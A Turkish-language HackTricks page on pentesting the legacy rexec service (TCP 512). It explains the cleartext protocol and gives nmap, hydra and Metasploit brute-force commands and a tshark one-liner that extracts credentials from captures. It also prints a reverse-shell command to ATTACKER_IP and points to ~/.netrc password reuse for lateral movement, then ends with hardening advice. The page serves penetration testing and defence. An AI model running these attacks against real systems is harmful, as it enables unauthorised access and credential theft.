512 - Pentesting Rexec

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Rexec (uzaktan exec) orijinal Berkeley r-servisleri paketinin bir parçasıdır ( rlogin, rsh, … ile birlikte). Sadece düz metin kullanıcı adı ve şifre ile kimlik doğrulaması yapılan bir uzaktan komut yürütme yeteneği sağlar. Protokol, 1980'lerin başında tanımlanmıştır (bkz. RFC 1060) ve günümüzde tasarım gereği güvensiz olarak kabul edilmektedir. Yine de, bazı eski UNIX / ağ bağlantılı ekipmanlarda varsayılan olarak etkinleştirilmiştir ve zaman zaman iç pentestler sırasında ortaya çıkmaktadır.

Varsayılan Port: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Tüm trafik – kimlik bilgileri de dahil – şifrelenmemiş olarak iletilir. Ağa göz atma yeteneğine sahip olan herkes kullanıcı adını, şifreyi ve komutu geri alabilir.

Protokol hızlı bakış

  1. İstemci TCP 512'ye bağlanır.
  2. İstemci üç NUL-terminatör dizesi gönderir:
  • stdout/stderr almak istediği port numarası (ASCII olarak) (genellikle 0),
  • kullanıcı adı,
  • şifre.
  1. İcra edilecek komut ile son bir NUL-terminatör dizesi gönderilir.
  2. Sunucu, tek bir 8-bit durum baytı (0 = başarı, 1 = başarısızlık) ve ardından komut çıktısı ile yanıt verir.

Bu, echo -e ve nc ile değişimi yeniden oluşturabileceğiniz anlamına gelir:

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Eğer kimlik bilgileri geçerliyse, id komutunun çıktısını aynı bağlantı üzerinden doğrudan alacaksınız.

İstemci ile manuel kullanım

Birçok Linux dağıtımı hala inetutils-rexec / rsh-client paketinin içinde eski istemciyi sunmaktadır:

bash
rexec -l user -p password <target> "uname -a"

Eğer -p atlanırsa, istemci şifreyi etkileşimli olarak istemek için bir istemde bulunacaktır (açık metin olarak ağda görünür!).


Sayım & Kaba kuvvet

Kaba kuvvet

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

rexec-brute NSE, yukarıda açıklanan protokolü kullanarak kimlik bilgilerini çok hızlı bir şekilde denemektedir.

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra özel bir rexec modülüne sahiptir ve en hızlı çevrimdışı bruteforcer olarak kalır. medusa (-M REXEC) ve ncrack (rexec modülü) aynı şekilde kullanılabilir.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Modül başarılı olduğunda bir shell oluşturacak ve kimlik bilgilerini veritabanında saklayacaktır.


Kimlik bilgilerini dinleme

Her şey düz metin olduğu için, ağ yakalamaları paha biçilmezdir. Trafiğin bir kopyasıyla hedefe dokunmadan kimlik bilgilerini çıkarabilirsiniz:

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark Decode As …​ TCP 512 → REXEC'i etkinleştirerek güzel bir şekilde ayrıştırılmış alanları görüntüleyin.)


Post-Exploitation ipuçları

  • Komutlar sağlanan kullanıcının ayrıcalıklarıyla çalıştırılır. Eğer /etc/pam.d/rexec yanlış yapılandırılmışsa (örneğin pam_rootok), root shell'leri bazen mümkün olabilir.
  • Rexec, kullanıcının shell'ini göz ardı eder ve komutu /bin/sh -c <cmd> aracılığıyla çalıştırır. Bu nedenle, birden fazla komutu zincirlemek veya ters shell'ler başlatmak için tipik shell-escape hilelerini (;, $( ), backticks) kullanabilirsiniz:
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Parolalar genellikle diğer sistemlerde ~/.netrc içinde saklanır; eğer bir host'u ele geçirirseniz, bunları yan hareket için yeniden kullanabilirsiniz.

Güçlendirme / Tespit

  • rexec'i açığa çıkarmayın; onu SSH ile değiştirin. Neredeyse tüm modern inetd süper sunucuları, hizmeti varsayılan olarak yorum satırına alır.
  • Eğer onu tutmanız gerekiyorsa, TCP wrapper'lar (/etc/hosts.allow) veya güvenlik duvarı kuralları ile erişimi kısıtlayın ve her hesap için güçlü parolalar zorunlu kılın.
  • :512'ye giden trafiği ve rexecd süreç başlatmalarını izleyin. Tek bir paket yakalama, bir ihlali tespit etmek için yeterlidir.
  • rexec, rlogin, rsh'yi birlikte devre dışı bırakın – bunlar çoğu aynı kod tabanını ve zayıflıkları paylaşır.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin